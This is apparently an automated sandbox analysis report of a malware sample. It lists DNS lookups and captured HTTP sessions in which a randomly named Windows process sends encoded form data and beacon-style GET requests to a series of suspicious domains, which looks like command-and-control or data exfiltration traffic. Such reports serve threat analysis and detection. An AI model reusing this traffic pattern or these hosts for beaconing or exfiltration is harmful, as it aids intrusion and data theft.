Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111-55g56.kunlundns.top	b1-3-r111.kunlundns.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 20, 2024 08:33:53.832884073 CET	1.1.1.1	192.168.2.6	0x8f3d	No error (0)	b1-3-r111.kunlundns.top		43.155.76.124	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:07.694067001 CET	1.1.1.1	192.168.2.6	0x88d9	No error (0)	www.madhf.tech		103.224.182.242	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:21.147069931 CET	1.1.1.1	192.168.2.6	0xb6f0	No error (0)	www.a1shop.shop		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:21.147069931 CET	1.1.1.1	192.168.2.6	0xb6f0	No error (0)	www.a1shop.shop		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:34.419022083 CET	1.1.1.1	192.168.2.6	0x1c58	No error (0)	www.aiactor.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:34.419022083 CET	1.1.1.1	192.168.2.6	0x1c58	No error (0)	www.aiactor.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:47.589750051 CET	1.1.1.1	192.168.2.6	0x21a	No error (0)	www.sitioseguro.blog		172.67.162.39	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:34:47.589750051 CET	1.1.1.1	192.168.2.6	0x21a	No error (0)	www.sitioseguro.blog		104.21.15.100	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:35:00.900012970 CET	1.1.1.1	192.168.2.6	0x5951	No error (0)	www.optimismbank.xyz		13.248.169.48	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:35:00.900012970 CET	1.1.1.1	192.168.2.6	0x5951	No error (0)	www.optimismbank.xyz		76.223.54.146	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:35:14.077846050 CET	1.1.1.1	192.168.2.6	0x849b	No error (0)	www.nonpressure.beauty		104.21.4.93	A (IP address)	IN (0x0001)	false
Nov 20, 2024 08:35:14.077846050 CET	1.1.1.1	192.168.2.6	0x849b	No error (0)	www.nonpressure.beauty		172.67.131.229	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.aziziyeescortg.xyz

www.grandesofertas.fun

www.sankan-fukushi.info

www.conansog.shop

www.beythome.online

www.tempatmudisini06.click

www.questmatch.pro

www.callyur.shop

www.housew.website

www.nuy25c9t.sbs

www.madhf.tech

www.a1shop.shop

www.aiactor.xyz

www.sitioseguro.blog

www.optimismbank.xyz

www.nonpressure.beauty

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49872	188.114.96.3	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:31:49.084477901 CET	560	OUT	GET /wbcb/?9xn=fHadNpk8MVax&GR54yHZ8=RE7vYLyK5TU4QOP5rF5bzHvmkOBzPkLWFqcdQsIlKut3OUPHwC3RgbbGtWJhBdiGOnYKFKB5mJuPEPmtM8O0K07oOsp/5ysfwWmAOXTj0WnbyU/nOpjct5usIHCkjfDMsHKGZFI= HTTP/1.1 Host: www.aziziyeescortg.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:31:49.721586943 CET	1101	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:31:49 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Jv1Yjc7qorQkIAKyPansiI5oqvUUETMy1uuq4ctnrDLXcEOcc2xNUxD0SYuCrqvz2Sp2MLN87KyiJYVwhTPeZ7RbXy7NDIbj5DCJSx45sg%2BUMXayoAC3rxjtgA2%2Fntdc3%2BhxwwSlqixg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e56be1a4d79c44f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1453&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=560&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 31 0d 0a 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>10

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49966	76.223.74.74	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:04.926918983 CET	828	OUT	POST /5rfk/ HTTP/1.1 Host: www.grandesofertas.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.grandesofertas.fun Referer: http://www.grandesofertas.fun/5rfk/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 68 42 52 54 58 56 5a 5a 6f 71 66 46 51 34 64 6c 42 61 66 6e 62 43 43 38 46 59 56 39 4e 4f 58 38 7a 4f 42 53 79 57 6e 54 44 55 43 54 6b 6e 61 4d 48 6d 4e 32 5a 38 75 69 72 76 57 4c 53 32 4c 71 42 38 6c 56 31 51 36 50 4c 52 43 68 6d 30 6f 56 46 50 6b 79 74 6c 6c 61 31 47 71 63 75 57 71 53 34 78 67 4b 6a 57 75 36 4d 66 39 58 6c 42 49 30 52 4b 51 67 70 58 4b 57 6b 4a 31 4c 76 57 2f 4d 35 37 66 4d 45 7a 70 33 6c 69 6e 46 5a 59 71 65 66 30 39 49 38 42 61 41 44 2b 6b 71 39 41 41 52 4b 45 31 78 44 55 43 4d 33 37 45 4b 56 30 61 36 68 65 72 55 48 57 35 77 34 54 70 32 79 73 44 6b 52 4a 41 75 61 4d 33 78 74 42 47 46 Data Ascii: GR54yHZ8=hBRTXVZZoqfFQ4dlBafnbCC8FYV9NOX8zOBSyWnTDUCTknaMHmN2Z8uirvWLS2LqB8lV1Q6PLRChm0oVFPkytlla1GqcuWqS4xgKjWu6Mf9XlBI0RKQgpXKWkJ1LvW/M57fMEzp3linFZYqef09I8BaAD+kq9AARKE1xDUCM37EKV0a6herUHW5w4Tp2ysDkRJAuaM3xtBGF
Nov 20, 2024 08:32:05.409843922 CET	456	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Nov 2024 07:32:05 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.grandesofertas.fun/5rfk/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49986	76.223.74.74	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:07.473522902 CET	852	OUT	POST /5rfk/ HTTP/1.1 Host: www.grandesofertas.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 237 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.grandesofertas.fun Referer: http://www.grandesofertas.fun/5rfk/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 68 42 52 54 58 56 5a 5a 6f 71 66 46 52 59 74 6c 48 39 44 6e 4b 53 43 37 4a 34 56 39 44 75 58 34 7a 4f 4e 53 79 56 72 35 43 67 75 54 6b 46 43 4d 64 69 5a 32 65 38 75 69 34 76 57 4f 63 57 4c 31 42 38 68 64 31 52 47 50 4c 56 71 68 6d 30 59 56 47 2b 6b 78 73 31 6c 59 35 6d 71 53 71 57 71 53 34 78 67 4b 6a 57 37 66 4d 66 31 58 6b 78 34 30 52 76 38 2f 33 48 4b 56 7a 35 31 4c 72 57 2f 49 35 37 66 79 45 33 4a 52 6c 6e 6a 46 5a 59 61 65 65 6d 46 4c 79 42 62 4a 63 4f 6c 74 34 68 30 55 46 6b 73 69 41 54 36 76 6e 73 4a 70 51 43 48 67 39 74 72 33 56 47 5a 79 34 52 78 45 79 4d 44 4f 54 4a 34 75 49 62 37 57 69 31 6a 6d 4d 43 7a 7a 45 51 6f 69 32 69 46 51 44 5a 5a 54 6c 31 77 4b 38 77 3d 3d Data Ascii: GR54yHZ8=hBRTXVZZoqfFRYtlH9DnKSC7J4V9DuX4zONSyVr5CguTkFCMdiZ2e8ui4vWOcWL1B8hd1RGPLVqhm0YVG+kxs1lY5mqSqWqS4xgKjW7fMf1Xkx40Rv8/3HKVz51LrW/I57fyE3JRlnjFZYaeemFLyBbJcOlt4h0UFksiAT6vnsJpQCHg9tr3VGZy4RxEyMDOTJ4uIb7Wi1jmMCzzEQoi2iFQDZZTl1wK8w==
Nov 20, 2024 08:32:07.970556974 CET	456	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Nov 2024 07:32:07 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.grandesofertas.fun/5rfk/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49987	76.223.74.74	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:10.020680904 CET	1865	OUT	POST /5rfk/ HTTP/1.1 Host: www.grandesofertas.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.grandesofertas.fun Referer: http://www.grandesofertas.fun/5rfk/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 68 42 52 54 58 56 5a 5a 6f 71 66 46 52 59 74 6c 48 39 44 6e 4b 53 43 37 4a 34 56 39 44 75 58 34 7a 4f 4e 53 79 56 72 35 43 68 36 54 6c 77 65 4d 48 46 31 32 66 38 75 69 6a 50 57 50 63 57 4c 34 42 34 4e 5a 31 52 4b 31 4c 54 75 68 67 6e 67 56 44 4d 63 78 6d 31 6c 59 78 47 71 54 75 57 71 48 34 78 77 47 6a 57 72 66 4d 66 31 58 6b 33 55 30 59 61 51 2f 31 48 4b 57 6b 4a 30 45 76 57 2f 67 35 2f 4c 39 45 33 4d 71 6c 55 62 46 5a 38 2b 65 64 56 39 4c 74 78 62 48 66 4f 6c 50 34 68 70 45 46 6b 41 75 41 57 75 4a 6e 72 42 70 52 55 79 6e 35 4a 76 4f 50 32 56 4e 6d 51 34 68 7a 38 50 4c 53 49 56 51 4a 4b 6e 41 39 68 54 55 50 32 7a 71 4e 42 45 76 67 68 78 65 48 64 67 57 6a 55 6c 38 6d 48 57 36 33 43 45 67 2b 45 6f 58 77 6d 47 30 50 43 67 66 37 50 70 54 70 69 33 45 36 65 74 53 6c 55 77 71 77 67 66 4f 37 52 78 75 32 70 49 59 63 68 2f 76 71 67 71 63 75 70 62 34 6a 72 6a 7a 34 58 37 47 73 36 66 68 68 44 57 32 37 34 6b 48 4b 72 2f 66 41 4a 57 33 4e 47 73 30 7a 5a 4d 34 68 69 34 65 7a 33 69 6b 31 [TRUNCATED] Data Ascii: GR54yHZ8=hBRTXVZZoqfFRYtlH9DnKSC7J4V9DuX4zONSyVr5Ch6TlweMHF12f8uijPWPcWL4B4NZ1RK1LTuhgngVDMcxm1lYxGqTuWqH4xwGjWrfMf1Xk3U0YaQ/1HKWkJ0EvW/g5/L9E3MqlUbFZ8+edV9LtxbHfOlP4hpEFkAuAWuJnrBpRUyn5JvOP2VNmQ4hz8PLSIVQJKnA9hTUP2zqNBEvghxeHdgWjUl8mHW63CEg+EoXwmG0PCgf7PpTpi3E6etSlUwqwgfO7Rxu2pIYch/vqgqcupb4jrjz4X7Gs6fhhDW274kHKr/fAJW3NGs0zZM4hi4ez3ik1QUV2Uqve0A7ElT5dnpgntr06wrMUogCBI2wloZoAE7fLRGdNcnGRE9xj9ezWwwfmmbHDkTyS2r8wVHCKM8vvasnu2hvNf0gQTdmTQGimPM1VTzbR+PaFtYWwMjHjvIs0Mq274hA1GglbEaSVSAPSilaxy6W54Oy4DZYoTU32WYWEXLEqdwvY96d41sxWr8AX6xhRu9jLpxWj33KeNCQ0dm4BwN+z5z8wZT/wnUd+XDdW7N+ldWr8cxdPG4RVyXldBj/FY3knA0vCl3SYW+cOIpvnuUutTHr3ljYxo/Sl01qTtWs+QKZzbsJn4gGz3eU/DPkYfKNnUKWxfM9TDtjrWGvTFa1dUJkxi6iK+thwP7urjT5mDKMGsdE3o4bjHLIglGXRBTvOW7CuZPsANjalhYSYT/PozyqgSXfExE67kLXeFXclpB+gkYtfn1eIxGmDVDFtPmVh9vhjqILWJIvDUGhHfI7u4ukxCFSJ2KgQugSkU5r5yeLSjSM/5PyUI0W/CL4uzdd9ke/rSOU+3z1XbRj3GCU1jS/LCJ1Mx5UJk24oS6HiDZ9X/Zieb0/vKX2mXmvKRLDfPsryUo6PErChx/TobjliR8w+vOsSVRh8T4DEJ77kih5vCwz+L8wRV5JJjq8cIdoc+PftEHPKIgudoG2HScZraf9m5R [TRUNCATED]
Nov 20, 2024 08:32:10.547473907 CET	456	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Nov 2024 07:32:10 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.grandesofertas.fun/5rfk/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49989	76.223.74.74	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:12.567233086 CET	560	OUT	GET /5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW+OptFCrWooNx2zE35RlOZ6Ff5bUgKRp+BgbOlYXfZZMl91myXHSHWgEoZCPkWwn0n+VmG53SX0EAb83CrCeMIkzMnSL4JpBihhagjpE3GksySBz8=&9xn=fHadNpk8MVax HTTP/1.1 Host: www.grandesofertas.fun Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0)
Nov 20, 2024 08:32:13.073115110 CET	619	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 20 Nov 2024 07:32:12 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.grandesofertas.fun/5rfk/?GR54yHZ8=sD5zUlt3wbrvSr53X/LgfhW+OptFCrWooNx2zE35RlOZ6Ff5bUgKRp+BgbOlYXfZZMl91myXHSHWgEoZCPkWwn0n+VmG53SX0EAb83CrCeMIkzMnSL4JpBihhagjpE3GksySBz8=&9xn=fHadNpk8MVax X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49990	163.44.185.183	80	3320	C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:32:18.568269968 CET	831	OUT	POST /21k5/ HTTP/1.1 Host: www.sankan-fukushi.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Connection: close Content-Length: 213 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.sankan-fukushi.info Referer: http://www.sankan-fukushi.info/21k5/ User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/8.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3; SLCC2; Media Center PC 6.0) Data Raw: 47 52 35 34 79 48 5a 38 3d 53 55 7a 47 6e 75 76 48 71 6a 72 64 77 50 67 70 42 65 7a 5a 47 62 68 43 77 59 4d 64 68 2b 58 77 4a 6b 4d 5a 67 39 6e 34 49 66 79 6f 35 39 37 43 4b 36 45 64 38 67 4e 6f 52 41 37 70 68 35 36 4f 4c 78 46 48 43 37 74 63 46 36 66 47 41 79 73 37 67 53 73 77 57 4f 76 41 49 41 34 37 6b 78 75 46 70 52 74 64 6a 75 65 30 57 74 61 52 53 6a 73 6f 36 55 65 53 57 4b 46 73 66 48 6a 59 59 6c 32 59 65 6f 6a 78 77 4e 49 54 56 30 37 50 4e 4f 72 63 39 4f 73 5a 79 59 6a 6d 45 4e 4c 72 77 79 63 33 30 2f 49 75 4b 4b 48 49 78 33 33 46 36 5a 5a 70 48 4d 50 37 4c 6c 63 46 4b 35 4d 4a 65 42 65 4d 6b 6c 39 79 34 39 30 47 48 67 4f 45 Data Ascii: GR54yHZ8=SUzGnuvHqjrdwPgpBezZGbhCwYMdh+XwJkMZg9n4Ifyo597CK6Ed8gNoRA7ph56OLxFHC7tcF6fGAys7gSswWOvAIA47kxuFpRtdjue0WtaRSjso6UeSWKFsfHjYYl2YeojxwNITV07PNOrc9OsZyYjmENLrwyc30/IuKKHIx33F6ZZpHMP7LlcFK5MJeBeMkl9y490GHgOE
Nov 20, 2024 08:32:19.343815088 CET	1236	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Nov 2024 07:32:19 GMT Content-Type: text/html Content-Length: 19268 Connection: close Server: Apache Last-Modified: Tue, 25 Jan 2022 07:25:35 GMT Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 20 20 68 74 6d 6c 2c 62 6f 64 79 2c 68 31 2c 70 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 62 6f 64 79 2c 68 74 6d 6c 20 7b 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="ja"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>404 Error - Not Found</title> <style> html,body,h1,p { margin: 0; padding: 0; } body,html { height: 100%; text-align: center; font-family: -apple-system, BlinkMacSystemFont, YakuHanJP, Helvetica, , "Hiragino Sans", " ProN W3", "Hiragino Kaku Gothic ProN", Verdana, Meiryo, sans-serif; background: #fff; color: #403230; } .container { padding: 60px 30px; } @media screen and (min-width: 640px) { .container { padding: 100px 30px; } } h1 { letter-spacing: 0.05em; font-size: 2.4rem; margin-bottom: 20px; } a { color: #147EF0; } .lol-error-page__caption { text-align: center; font-size: 1rem; [TRUNCATED]
Nov 20, 2024 08:32:19.343837976 CET	224	IN	Data Raw: 2d 77 65 69 67 68 74 3a 20 36 30 30 3b 0a 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 37 32 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 2e 6c 6f 6c 2d 65 72 72 6f 72 2d 70 61 67 65 5f 5f 69 6e 66 6f 72 6d 61 74 69 6f Data Ascii: -weight: 600; line-height: 1.72; } .lol-error-page__information { display: -webkit-flex; display: -ms-flexbox; display: flex; -webkit-justify-content: center;
Nov 20, 2024 08:32:19.343848944 CET	1236	IN	Data Raw: 20 20 20 20 20 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 2d 77 65 62 6b 69 74 2d 61 Data Ascii: -ms-flex-pack: center; justify-content: center; -webkit-align-items: center; -ms-flex-align: center; align-items: center; -webkit-flex-wrap: wrap; -ms-flex-wrap: wrap;
